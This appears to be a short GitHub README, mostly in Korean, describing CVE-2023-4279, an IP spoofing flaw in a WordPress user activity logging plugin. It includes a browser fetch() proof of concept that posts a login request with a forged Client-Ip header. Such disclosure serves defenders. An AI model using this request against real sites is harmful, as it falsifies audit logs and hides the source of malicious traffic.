b0marek/cve-2023-4279CVE-2023-4279 취약점을 위한 저장소입니다.
CVE ID: CVE-2023-4279
취약점 유형: IP 주소 스푸핑
설명: 이 플러그인은 잠재적으로 신뢰할 수 없는 헤더에서 클라이언트 IP 주소를 가져와 공격자가 해당 값을 조작할 수 있게 합니다. 이는 악성 트래픽의 출처를 숨기는 데 사용될 수 있습니다.
재현 단계:
1. In User Activity Log > Settings, enable the setting "Allow Ip Address of users to log." and save settings.
2. Run the following code in the web browser and note on the backend that the IP address has been faked.
await fetch("/wp-login.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
"Client-Ip": "8.8.8.8",
},
"body": "log=USERNAME&pwd=PASSWORD",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
참조: